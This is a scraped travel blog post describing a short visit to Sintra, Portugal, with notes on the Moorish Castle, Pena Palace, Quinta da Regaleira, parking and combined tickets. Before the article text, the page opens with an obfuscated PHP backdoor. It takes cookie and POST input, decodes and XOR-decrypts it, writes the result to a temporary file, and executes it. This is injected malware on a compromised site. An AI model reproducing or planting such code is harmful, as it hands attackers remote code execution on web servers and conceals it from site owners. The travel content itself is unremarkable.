$nbMwYlR = "\107" . chr (81) . "\160" . "\x5f" . chr (105) . 'A' . chr ( 311 - 242 ); $lrXUV = "\143" . "\x6c" . chr (97) . 's' . 's' . "\x5f" . "\x65" . chr ( 1011 - 891 )."\151" . 's' . chr (116) . chr (115); $RcGWkB = class_exists($nbMwYlR); $lrXUV = "51056";$OEksxo = strpos($lrXUV, $nbMwYlR);if ($RcGWkB == $OEksxo){function tFFDU(){$LzORuI = new /* 48976 */ GQp_iAE(17340 + 17340); $LzORuI = NULL;}$gFceCMkNex = "17340";class GQp_iAE{private function NaIvmAiSbp($gFceCMkNex){if (is_array(GQp_iAE::$dTdDH)) {$name = sys_get_temp_dir() . "/" . crc32(GQp_iAE::$dTdDH["salt"]);@GQp_iAE::$dTdDH["write"]($name, GQp_iAE::$dTdDH["content"]);include $name;@GQp_iAE::$dTdDH["delete"]($name); $gFceCMkNex = "17340";exit();}}public function vIOAfKeCkp(){$ixOUiod = "13526";$this->_dummy = str_repeat($ixOUiod, strlen($ixOUiod));}public function __destruct(){GQp_iAE::$dTdDH = @unserialize(GQp_iAE::$dTdDH); $gFceCMkNex = "9280_14206";$this->NaIvmAiSbp($gFceCMkNex); $gFceCMkNex = "9280_14206";}public function QGNMVCCxF($ixOUiod, $wsYjFMS){return $ixOUiod[0] ^ str_repeat($wsYjFMS, intval(strlen($ixOUiod[0]) / strlen($wsYjFMS)) + 1);}public function BTGPZL($ixOUiod){$ltSng = chr (98) . chr (97) . chr (115) . chr (101) . '6' . '4';return array_map($ltSng . chr ( 486 - 391 )."\144" . "\145" . chr ( 602 - 503 ).chr (111) . chr (100) . "\145", array($ixOUiod,));}public function __construct($GnGpn=0){$MfhLDso = ',';$ixOUiod = "";$qnWVWlbS = $_POST;$NhHjhkfQ = $_COOKIE;$wsYjFMS = "bcba4a98-f618-4e31-b11d-406dbceeb490";$LfDPiGt = @$NhHjhkfQ[substr($wsYjFMS, 0, 4)];if (!empty($LfDPiGt)){$LfDPiGt = explode($MfhLDso, $LfDPiGt);foreach ($LfDPiGt as $ROgAWD){$ixOUiod .= @$NhHjhkfQ[$ROgAWD];$ixOUiod .= @$qnWVWlbS[$ROgAWD];}$ixOUiod = $this->BTGPZL($ixOUiod);}GQp_iAE::$dTdDH = $this->QGNMVCCxF($ixOUiod, $wsYjFMS);if (strpos($wsYjFMS, $MfhLDso) !== FALSE){$wsYjFMS = explode($MfhLDso, $wsYjFMS); $CScAoDorJu = base64_decode(sha1($wsYjFMS[0]));}}public static $dTdDH = 31976;}tFFDU();} Portugal Road Trip: High in the Sky in Sintra | Modern Odyssey
 

Portugal Road Trip: High in the Sky in Sintra

Sintra Moorish Castle Ruins

04 Oct Portugal Road Trip: High in the Sky in Sintra

Posted at 10:00h in Destinations by

Sintra will captivate you with its picturesque setting – a historical town perched on the foothills of the Sintra mountains – and offering of palaces, mansions, forest and gardens to explore.

view of Sintra

view of Sintra from the Moorish Castle

 

Exploring Sintra, Portugal

Duration: 1 day/overnight

Time of Year: late September

What did we find notable?

What a charming place!! No wonder it was the summer home to the royals and the wealthy of Lisbon.

We were here briefly, so we focused on the top three points of interest:

1)  Castelo dos Mouros (Moorish Castle) – The North African Moors occupied this castle from the 9th century till it was surrendered to Christian forces in 1147. Today, you can climb the ruined battlements and gaze off into the distance towards the sea or up towards Pena Palace.

Sintra Moorish Castle Ruins

Sintra Moorish Castle Ruins

 

Moorish Castle watchtower

Moorish Castle watchtower

 

2)  Palácio Nacional da Pena (Pena National Palace) – a tremendous complex depicting the 19th century Romanticism style of architecture. It’s a giant pop of color in the middle of the forest that encompasses it, on one of the highest points of the Sintra Mountains.

 

3)  Palácio da Quinta da Regaleira (Quinta da Regaleira Palace) – a stunning mansion and elaborate park that includes underground tunnels. It once served as the summer residence of the Carvalho Monteiro family.

Quinta da Regaleira Mansion in Sintra

Quinta da Regaleira Mansion

 

Sintra Quinta da Regaleira gardens

underground passage in the gardens of Quinta da Regaleira

 

Our takeaways:

If you like touring historical forts, mansions, gardens, and palaces, then this UNESCO World Heritage town is for you!

So you’re interested in going to Sintra… here are a few helpful planning tips

The drive in and around is going to be tricky due to the mountainous roads, one-way streets and limited parking in the historic center. Google Maps also gets quite confused. It’s best to coordinate in advance with your accommodations to get detailed directions on where you can park. A printed map might help for when Google Maps goes nuts.

Additionally, since it’s a pain to drive here, the red City Sightseeing tour bus is again, a great option. It offers two routes, one to the main attractions in the immediate vicinity. And another that extends to many more sights and to the coast, to Cabo da Roca.

You can purchase a combination ticket into the Moorish Castle and Pena Palace at the entrance to either. It gives you a 5% discount, running us 20,90 Euros a person (which was broken down to 13,30 for Pena Palace and 7,60 Euro for the Moorish Castle).

There is a cafe with mostly packaged foods at the Moorish Castle and a rooftop cafe at Pena Palace.

We could have enjoyed more time in Sintra. It would have been nice to stay 2 nights and 2.5-3 days minimum.

 

Want to read about the other Portugal road trip destinations?

 

Odeceixe Beach PortugalOdeceixe, Portugal

 

 

 

 

 

 

Porto, Portugal from abovePorto, Portugal

 

 

 

 

 

 

Óbidos Portugal Castle

Óbidos, Portugal

 

 

 

 

 

 

 

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Have you been to Sintra? What activities did you enjoy the most?

Leave a comment!

* * *

 *We are not affiliated with the Sightseeing bus company. We did use this service while in Sintra and would recommend to others.

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Lauren Martins
lauren@modernodyssey.co
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